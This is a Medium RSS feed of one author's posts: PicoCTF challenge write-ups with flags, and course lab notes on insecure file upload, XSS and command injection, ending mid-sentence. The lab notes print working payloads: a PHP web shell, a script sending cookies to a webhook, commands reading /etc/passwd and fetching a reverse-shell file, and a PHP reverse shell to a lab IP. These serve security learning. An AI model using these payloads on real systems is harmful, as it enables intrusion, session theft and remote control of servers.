<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shivansh Seth on Medium]]></title>
        <description><![CDATA[Stories by Shivansh Seth on Medium]]></description>
        <link>https://medium.com/@shibushivansh?source=rss-d710fa66461------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*QOKLLodERiWzTv8KgUr0FQ.jpeg</url>
            <title>Stories by Shivansh Seth on Medium</title>
            <link>https://medium.com/@shibushivansh?source=rss-d710fa66461------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 10:48:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shibushivansh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PicoCTF — endianness, repetitions, useless]]></title>
            <link>https://shibushivansh.medium.com/picoctf-endianness-repetitions-useless-29c7f9e1de16?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/29c7f9e1de16</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 22:56:16 GMT</pubDate>
            <atom:updated>2024-09-05T22:56:16.464Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF — endianness, repetitions, useless</h3><h4>endianness</h4><p>Author: Nana Ama Atombo-Sackey<br>Description<br>Know of little and big endian? Source</p><p>Additional details will be available after launching your challenge instance.</p><p>Here, we got a file named <em>file.c</em></p><p>&gt;&gt; <em>nc titan.picoctf.net 58415</em></p><p>So, I took the help of hints to check what can I do of the words after checking the C File.<br>Hint — 1 : You might want to check the ASCII table to first find the hexadecimal representation of characters before finding the endianness.</p><p>It took me a bit of a time to understand because I wasn’t familar with the concept of endianness. I basically converted the ASCII to hex and then applied the Little Endian Method i.e. to revert the hex code received and then for Big Endian Method, I just wrote the same hex value.</p><p>I received the flag as : <em>picoCTF{3ndi4n_sw4p_su33ess_02999450}</em></p><h4>repetitions</h4><p>Author: Theoneste Byagutangaza<br>Description<br>Can you make sense of this file? Download the file here.</p><p>We have got a file named <em>enc_flag</em>. As first glance it looks like an encoded file, let’s see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*cYZ7X3iC5W_VDWGN3Smx1Q.png" /></figure><p>I tried all the combination on the website : <a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p><p>First I tried a lot of combinations and stuff like SHA2, MD5, Base64 but then I just the == in the end and hence it was confirmed that it was a Base64 String but on multiple tries I didn’t find any questions and closed the CTF but when I re- read the title I tried to use Base64 again and again and found the flag.</p><p>The flag is : <em>picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_dfe803c6}</em></p><h4>useless</h4><p>Author: Loic Shema<br>Description<br>There’s an interesting script in the user’s home directory</p><p>Additional details will be available after launching your challenge instance.</p><p>The work computer is running SSH. We’ve been given a script which performs some basic calculations, explore the script and find a flag.</p><p>Hostname: saturn.picoctf.net<br>Port: 58911<br>Username: picoplayer<br>Password: password</p><p>First, we will gain access to the user using SSH by the command : <em>ssh -p 58911 picoplayer@saturn.picoctf.net</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*kCeTw_eEOuPQ8zHtfMJ_CA.png" /></figure><p>The code basically told us to Read the manual, so I wrote the command: <em>man &lt;filename&gt;</em></p><p>And boom I easily got the flag : <em>picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_4151}</em></p><p>If you liked the article, then do give it a clap👏!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29c7f9e1de16" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF — dont-you-love-banners]]></title>
            <link>https://shibushivansh.medium.com/picoctf-dont-you-love-banners-17bb650c4a61?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/17bb650c4a61</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 22:48:26 GMT</pubDate>
            <atom:updated>2024-09-05T22:48:26.744Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF — dont-you-love-banners</h3><h4>dont-you-love-banners</h4><p>Author: Loic Shema / syreal<br>Description<br>Can you abuse the banner? The server has been leaking some crucial information on tethys.picoctf.net 52088. Use the leaked information to get to the server. To connect to the running application use nc tethys.picoctf.net 62037. From the above information abuse the machine and find the flag in the /root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*Tes8gfUO7379u5P3iTupWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*2caLBGFS7HbBfuQexi-l1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*m73__bYkGRPRRu5S6nxWzg.png" /></figure><p>Total files it shows as 8 but on listing all hidden we still see 7 only, hence one file is present in it and we are unable to see it.</p><p>Hint — 1 : Do you know about symlinks?</p><p>Hint — 2 : Maybe some small password cracking or guessing</p><p>I jumped on to the /root directory and found two text files and the flag.txt was protected.<br>Then I found the script that was running and found the command to get the super user priviliges in the shell and that was : su — player.</p><p>But, now we need to find a password for the player.</p><p>Then I tried looking for articles to know about the Symlinks as I tried to crack the hash of Players password which I was not able to do so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*FwHJubSyIJ4ze8qTmWzlkA.png" /></figure><p>And I got the link to this article : <a href="https://medium.com/@niceselol/picoctf-2024-dont-you-love-banners-40b8c1fc5050">https://medium.com/@niceselol/picoctf-2024-dont-you-love-banners-40b8c1fc5050</a></p><p>And hence got the solution and learnt that a root privileged file can be symlinked by the non-privileged user.</p><p>And hence then as we know the Python code was running at the start, we created a symlink using the command ln -s /root/flag.txt /home/player/banner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*Zv8AJ6khMkIaOaa2Qkyf5Q.png" /></figure><p>And now when code tried to open the file, it basically opened the flag file instead of banner.</p><p>The flag is :<em> picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_b3ee718e}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17bb650c4a61" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF — SuperSSH, Time Machine, binhexa]]></title>
            <link>https://shibushivansh.medium.com/picoctf-superssh-time-machine-binhexa-106b3e5ec47a?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/106b3e5ec47a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 22:39:15 GMT</pubDate>
            <atom:updated>2024-09-05T22:39:15.363Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF — SuperSSH, Time Machine, binhexa</h3><h4>Super SSH</h4><p>Author: Jeffery John<br>Description<br>Using a Secure Shell (SSH) is going to be pretty important.</p><p>Additional details will be available after launching your challenge instance.</p><p>Using a Secure Shell (SSH) is going to be pretty important. Can you ssh as ctf-player to titan.picoctf.net at port 60525 to get the flag? You’ll also need the password 6abf4a82. If asked, accept the fingerprint with yes. If your device doesn’t have a shell, you can use: <a href="https://webshell.picoctf.org/">https://webshell.picoctf.org</a> If you’re not sure what a shell is, check out our Primer: <a href="https://primer.picoctf.com/#">https://primer.picoctf.com/#</a></p><p>It was a pretty easy one and one just needs to know how to use basic SSH.</p><p>I typed in the command : <em>ssh -p 60525 </em><a href="/service/mailto:ctf-player@titan.picoctf.net"><em>ctf-player@titan.picoctf.net</em></a></p><p>And after connecting to the Host I got the flag as : <em>picoCTF{s3cur3_c0nn3ct10n_65a7a106}</em></p><h4>Time Machine</h4><p>Author: Jeffery John<br>Description<br>What was I last working on? I remember writing a note to help me remember… You can download the challenge files here:<br> challenge.zip</p><p>At first, I unzipped the file by using the command : unzip challenge.zip<br>Then I opened the file message.txt in the directory drop-in/ and got the following results :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*Yc3IN-02Y8rtMgKyudqUJg.png" /></figure><p>So, I got a clue that I need to check the history of the file.<br>Then I tried to see if I could get hidden files and found a directory .git and then I opened it got a directory named logs and after opening it, I found a file named HEAD. And there I got the flag as : <em>picoCTF{t1m3m@ch1n3_8defe16a}</em></p><p>binhexa</p><p>Author: Nana Ama Atombo-Sackey<br>Description<br>How well can you perfom basic binary operations?</p><p>Additional details will be available after launching your challenge instance.</p><p>Start searching for the flag here <em>nc titan.picoctf.net 60562</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*zYJpzr5BYlFx-WqUMb4Xdw.png" /></figure><p>This CTF required some basics of binary and hexadecimal conversions and you could simply get the flag by giving the answers and the flag is : <em>picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_d6f8047e}</em></p><p>If you liked the blog, then please provide a Clap to the blog👏.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=106b3e5ec47a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF — Collaborative Development, Commitment Issues, Specialer]]></title>
            <link>https://shibushivansh.medium.com/picoctf-collaborative-development-commitment-issues-specialer-220ad3171ed0?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/220ad3171ed0</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 22:31:01 GMT</pubDate>
            <atom:updated>2024-09-05T22:31:01.519Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF — Collaborative Development, Commitment Issues, Specialer</h3><h4>Collaborative Development</h4><p>Author: Jeffery John<br>Description<br>My team has been working very hard on new features for our flag printing program! I wonder how they’ll work together? You can download the challenge files here:</p><p>challenge.zip</p><p>At first, unzip the file using the command : unzip challenge.zip</p><p>We can see that there are a lot of commits :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*-TwrwZFs-m-f8RG5o-C-wA.png" /></figure><p>Now, we’ll try to merge all the commits into the file and see what happens.</p><p>Merging all the commits gave us the flag : <em>picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_2c91ca76}</em></p><h4>Commitment Issues</h4><p>Author: Jeffery John<br>Description<br>I accidentally wrote the flag down. Good thing I deleted it! You download the challenge files here:</p><p>challenge.zip</p><p>First, I unzipped the file using the command : <em>unzip challenge.zip</em></p><p>We need to know basics of git to get this flag.<br>Simply re-intialize the git rep by using the command :<em> git init</em><br>Then checkout to the Commit where the Flag was created and then when we is it the message, we are able to see the flag i.e. <em>picoCTF{s@n1t1z3_ea83ff2a}</em></p><h4>Specialer</h4><p>Author: LT ‘syreal’ Jones, et al.<br>Description<br>Reception of Special has been cool to say the least. That’s why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just ‘Specialer’. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody’s complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.</p><p>Additional details will be available after launching your challenge instance.</p><p><em>ssh -p 59025 ctf-player@saturn.picoctf.net</em>. The password is <em>3f39b042</em></p><p>I tried to use different commands but only echo was working so I started to search a way to print the output of the files present in the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*PNwA2bV70JIWkEleAloE1w.png" /></figure><p>The flag is : <em>picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_811ae7e9}</em></p><p>If you liked the blog, then please give it a clap 👏!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=220ad3171ed0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF — ASCII Numbers, Binary Search, Blame Game]]></title>
            <link>https://shibushivansh.medium.com/picoctf-ascii-numbers-binary-search-blame-game-0a412a0b6ba2?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a412a0b6ba2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[data-security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[challenge]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 22:13:56 GMT</pubDate>
            <atom:updated>2024-09-05T22:23:55.069Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF — ASCII Numbers, Binary Search, Blame Game</h3><h4>ASCII Numbers</h4><p>Author: LT ‘syreal’ Jones<br>Description<br>Convert the following string of ASCII numbers into a readable string: 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*-gb4zJ4R9H8M8OGBILmwWw.png" /></figure><p>Then answer of the flag is : <em>picoCTF{45c11_n0_qu35710n5_1ll_t311_y3_n0_l135_445d4180}</em></p><h4>Binary Search</h4><p>Author: Jeffery John<br>Description<br>Want to play a game? As you use more of the shell, you might be interested in how they work! Binary search is a classic algorithm used to quickly find an item in a sorted list. Can you find the flag? You’ll have 1000 possibilities and only 10 guesses. Cyber security often has a huge amount of data to look through — from logs, vulnerability reports, and forensics. Practicing the fundamentals manually might help you in the future when you have to write your own tools! You can download the challenge files here:</p><p>challenge.zip</p><p>Additional details will be available after launching your challenge instance.</p><p>It was a basic Binary Search Algorithm question and I just tried to lower down the range of possibilities of answer and the found the answer as : 116</p><p>The flag was : <em>picoCTF{g00d_gu355_3af33d18}</em></p><h4>Blame Game</h4><p>Author: Jeffery John<br>Description<br>Someone’s commits seems to be preventing the program from working. Who is it? You can download the challenge files here:</p><p>challenge.zip</p><p>Hint — 1 : In collaborative projects, many users can make many changes. How can you see the changes within one file?</p><p>It was an easy flag but I didn’t read the Log file very clearly. So the flag lies in the Log file as the Name of the person who committed the changes in the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mlevb__fFrgVPOFTPmk7bw.png" /></figure><p>The flag was : <em>picoCTF{@sk_th3_1nt3rn_2c6bf174}</em></p><p>If you liked the Blog, then give it a Clap👏.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a412a0b6ba2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCM Security — Practical Ethical Hacking Course — Find & Exploit Common Web Vulnerabilities —…]]></title>
            <link>https://shibushivansh.medium.com/tcm-security-practical-ethical-hacking-course-find-exploit-common-web-vulnerabilities-7b0a8975b997?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b0a8975b997</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[data-security]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Wed, 17 Apr 2024 06:43:52 GMT</pubDate>
            <atom:updated>2024-04-17T06:43:52.150Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hNFf5st6OJ4JUJMn.png" /><figcaption>Copyright -&gt; <a href="https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE">https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE</a></figcaption></figure><h3>TCM Security — Practical Ethical Hacking Course — Find &amp; Exploit Common Web Vulnerabilities — Insecure File Upload</h3><p>Insecure File Upload vulnerability is when an application allows uncontrolled and unvalidated upload of files. An attacker can exploit this vulnerability to upload malicious files, like web shells, which can lead to code execution, data leakage, or other types of attacks.</p><p><em>~Source : </em><a href="https://appsecexplained.gitbook.io/appsecexplained/common-vulns/insecure-file-upload*"><em>https://appsecexplained.gitbook.io/appsecexplained/common-vulns/insecure-file-upload</em></a></p><h3>Insecure File Upload 0x01</h3><p>The foremost task to check about the vulnerable site is to check which file formats are allowed which can be simply checked by adding a .txt file that can be creating using a command : echo &quot;test&quot; &gt; test.txt and then uploading it to the file server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*Hh5YcdXyjD-yMA22ZGCBrg.png" /></figure><p>Now, we are clear about the Target that it only accepts files of the format “.jpg” &amp; “.png”.</p><p>We can check that where is the check of the file format occurring by switching to Network Section of the browser and on re-uploading the file nothing changes, hence it shows that the check is on the Client Side.</p><p>Now, we will intercept the request and check if we send .txt file to the webpage then would it accept the changes made in the request. We changed the file type from .png to .txt and it was able to upload the file and then we changed the content of the file and it showed that over to the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*O2S6EDFlaekfTyu9ui247w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*53lkHZWtdoGpnISqL3B6Gg.png" /></figure><p>As, we know PHP is working over the Web-server, hence we can simply add a PHP Code to execute and check if the Web-server responds to it. Also, as we want the server to treat it as Executable so we will change its file extension to .php.</p><p>The payload used in the request : &lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*FCTYO_WPjnW5SCKDl-Ac1w.png" /></figure><p>And now, we need to find where is the PHP File. For that, we will fuzz the directories using the command : <em>ffuf -u </em><a href="http://localhost/FUZZ"><em>http://localhost/FUZZ</em></a><em> -w /usr/share/wordlist/dirb/common.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*HAzUjXgC4Nld7IEtXYYrOQ.png" /></figure><p>Now, here we can assume that in labs only we would get out file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*y8ilJF5SF208PGEhhU3vPA.png" /></figure><p>Here, we see a directory as uploads. And now we’ll check what this directory has for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*PXqbKTYImhShLbcPn1yxhw.png" /></figure><p>And see we got a warning telling that it wasn’t able to execute a blank command which gives us an idea that we are on the right track in exploitation. Now, we’ll add a parameter to it as : ?cmd=whoami</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*qGg7QuG8UvZgZzbfUTb3qg.png" /></figure><p>And BOOM, now we can execute commands through this parameter.</p><h3>Insecure File Upload 0x02</h3><p>Now, if we try to imitate the steps above in this lab, we would get to know that this time on changing the file type to .php we would get an error that shows us that the Server is blocking the file this time and the client.</p><p>And now we can hit and try something like, taking the PNG’s Magic Bytes and insert the PHP Code into it and then change the file type to .php. This will tell the web server that it is a PNG File and not a PHP File.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*dkwaqllh32X2xk2P7AMA7w.png" /></figure><p>And we get the result as :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*86uL_98TYFrPql1ue_s4pg.png" /></figure><h3>Insecure File Upload 0x03</h3><p>In this lab, when we did all the steps as done in 0x02, we get that “The file extension ‘.php’ is not allowed showing us that only Magic Bytes won’t work this time.</p><p>But when we just uploaded the file with the extension ‘.php5’, it got uploaded hence only the check on ‘.php’ was made. Still, we’re unable to execute the code because the server was unable to execute ‘.php5’ and showed that it contains errors. So, we’ll try with ‘.php4’, ‘.php3’, ‘.php2’ &amp; ‘.php1’ none of them worked.</p><p>So, we used a different file extension, ‘.phtml’ and luckily it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*xBjUccIQGOJJ0D20SfaA4Q.png" /></figure><p>And we got the result as :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*cXNmqUSdKCHi3oR94UJv0w.png" /></figure><p>If you liked the article, then do share it and Clap 👏!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b0a8975b997" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TCM Security — Practical Ethical Hacking Course — Find & Exploit Common Web Vulnerabilities — XSS…]]></title>
            <link>https://shibushivansh.medium.com/tcm-security-practical-ethical-hacking-course-find-exploit-common-web-vulnerabilities-xss-00dbb33d45e2?source=rss-d710fa66461------2</link>
            <guid isPermaLink="false">https://medium.com/p/00dbb33d45e2</guid>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[blog]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shivansh Seth]]></dc:creator>
            <pubDate>Tue, 16 Apr 2024 09:53:41 GMT</pubDate>
            <atom:updated>2024-04-16T09:53:41.883Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*R1TaYSOlUzX9wpj7.png" /><figcaption>Copyright -&gt; <a href="https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE">https://www.google.com/url?sa=i&amp;url=https%3A%2F%2Ftcm-sec.com%2F&amp;psig=AOvVaw3QDu8L2PqkJkEu9QWEjJG3&amp;ust=1694636624653000&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBAQjRxqFwoTCIiuqsHzpYEDFQAAAAAdAAAAABAE</a></figcaption></figure><h3><strong>TCM Security — Practical Ethical Hacking Course — Find &amp; Exploit Common Web Vulnerabilities — XSS &amp; Command Injection</strong></h3><h3>Cross Site Scripting — XSS</h3><p>There are basically 3 types of XSS present i.e. Reflected XSS, Stored XSS &amp; DOM-based XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*41DZIPcNHvklbY9rswfJAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*4iUEKJUCzUfwrqUwq0im9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*zyc3u_q9trOOWwfHZrQMEw.png" /></figure><h3>XSS 0x01</h3><p>A input field is given and whatever we enter into the field we the site reflects that up on the website. So, it can have potential Reflected XSS Vulnerability. But when we visit the Network Section of the browser we are unable to see any kind of request being sent to the server, hence everything is occurring locally so it is a DOM Based XSS Vulnerability.</p><p>Now, we will be using the basic payload to check what is getting filtered or not. We used the payload : &lt;img src=x onerror=&quot;prompt(1)&quot;&gt;</p><p>On executing an Image Icon is loaded to the list and a prompt is raised as the query executes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*To0noMSBktXfAmH8Lf68TQ.png" /></figure><p>And hence we are able to execute the script locally, hence it contains a DOM Based XSS Vulnerability.</p><h3>XSS 0x02</h3><p>Here, we will be installing Firefox Multi Account Containers to solve the Second Lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*vBuse430fZ5eQa9a96_kng.png" /></figure><p>Now, we will be basically opening the lab two times on the same browser using containers. This is so that we can analyze the changes occurring in one are being reflected in the other or not. We will also be adding a cookie editor to check how the containers are separating the login sessions. We can add a cookie in one of the container and check that cookie in the log using the command : document.cookie . It will show the cookie in the container it was added to but not in the container it wasn’t added showing that both containers have different sessions running over them.</p><p>First we’ll be using a HTML Injection to check for the Scripting. Use the basic html injection like &lt;h1&gt;test&lt;/h1&gt; in one container and see the results. But when you go to the second container you will be able to see that the same injection works there too without you entering it. This show that the lab has some Potential Stored XSS Vulnerability.</p><h3>XSS 0x03</h3><p>Here we are required to learn Webhook to know the actual working of the payload we will be using. The payload we are using is : &lt;script&gt;var i = new Image;i.src=”&lt;webhook_url”+document.cookie;&lt;/script&gt;</p><p>Now here, we will be adding our own Webhook URL into the payload and then we can get the admin’s cookie easily. When we add this Payload as the Supporting Ticket, we get the Webhooking whenever the admin panel refreshes itself. And on refresh we get the admin’s cookie on the WebHook Server.</p><h3>COMMAND INJECTION</h3><p>CI is a very crucial vulnerability as we can almost run whatever run we want to through the host.</p><p>In the introduction, we will be learning to use the interactive PHP through the command : php -a</p><h3>COMMAND INJECTION 0X01</h3><p>While analyzing the website we found that there is a field to enter Web URLs and it provides us with a response code on the screen. And it also provides the command it ran in the backend to retrieve the result.</p><p>For reference we’ll be learning stuff from this website : <a href="https://appsecexplained.gitbook.io/appsecexplained/">https://appsecexplained.gitbook.io/appsecexplained/</a></p><p>So, in the above link you can find everything related Command Injection that we need to learn about. I also contains payloads which we can use to exploit the websites.</p><p>Running the command ; uname -a; asd gave me the following result :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LlwC9Frv_nCCaDmlNkb7Ag.png" /></figure><p>Now we can check the password list of the system using the command like cat /etc/passwd and also we can do Ctrl+U to get the information in an organized manner.</p><p>Now to do something crazy we will be taking the help of some crazy payloads from the link : <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">https://github.com/swisskyrepo/PayloadsAllTheThings</a></p><p>Now, here we’ll be trying Bash TCP. To run the Bash Payload we need to check the exact path to run the Bash first, which can be easily retrieved using the command : which bash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_km9c9vCQFE2ebSh_f4zqw.png" /></figure><p>But using this Payload didn’t give me fruitful results so we’ll be shifting our concerns from Bash TCP to PHP which is also present on the server. And I got the result of the Path of PHP is /usr/local/bin/php . And I’ll be using the PHP Payload now. And boom I got the Reverse Shell out of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KfL3mU0-BFdpu_vDKNTFwg.png" /></figure><h3>COMMAND INJECTION 0x02</h3><p><strong>Using Webhook</strong> : Go to <a href="http://webhook.site/">webhook.site</a> then just copy the webhook URL and add a ? to the URL and your command in the double quotes so now the Webhook will be hit and the command will be executed.</p><p>Now, here we didn’t get the command the web server is using when we entered the URL. So, then we used Webhook URL and added ?&#39;&lt;command&gt;’ so when we hit enter we get the response with the query string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bkBRMCS6J2jTnarfiCmxtw.png" /></figure><p>Now, as we know the command is easily getting executed so we will be taking one more approach by adding this payload to the search bar : http://tcm-sec.com \\n wget ip:8080/test (here, \\n is used to get a newline) and simultaneously switch ON the python server using the command : python3 -m http.server 8080. This approach shows that the server allows to make requests</p><p>Then we will try to get a PHP Reverse Shell and copy it, using the pre-installed script in the Linux : cp /usr/share/webshells/laudanum/php/php-reverse-shell.php .</p><p>And update the Ip-Address and Port number to configured Kali you’re using.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*fFLZByD71K5SLLCnJPtdQA.png" /></figure><p>There were two methods discussed in the video :</p><ol><li>[https://tcm-sec.com](&lt;https://tcm-sec.com/&gt;) \\n wget 10.0.2.15:8080/rev.php</li><li>[https://tcm-sec.com](&lt;https://tcm-sec.com/&gt;) &amp;&amp; curl 10.0.2.15:8080/rev.php &gt; /var/www/html/rev.php</li></ol><p>And while using the second command we will switch our to <strong>NetCat</strong> on the 4444 port number to listen to the reverse shell, by the command : nc -nvlp 4444. And then we need to connect to the <a href="http://localhost/rev.php">http://localhost/rev.php</a></p><h3>COMMAND INJECTION 0x03</h3><p>Now, on looking around and playing with the website we found that the values we provide as the “Position X” and “Position Y”, they’re getting used by the website. So, now we can try to execute a simple command/script as value)^2))}&#39;;&lt;command&gt;;#. Now here, the value we be taken as the input and the &lt;command&gt; will be executed as the next command by the Web-server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*qWhLOBnbpTzrG8jZbHmgvw.png" /></figure><p>Then, we’ll try to pop some shell. As it is a PHP Webpage, hence we’ll try to execute PHP Exploit (Reverse Shell).</p><p>We will now add our payload i.e. value)^2))}&#39;;php -r &#39;$sock=fsockopen(&quot;10.0.2.4&quot;,4242);exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&#39;;#. Then we’ll open up the 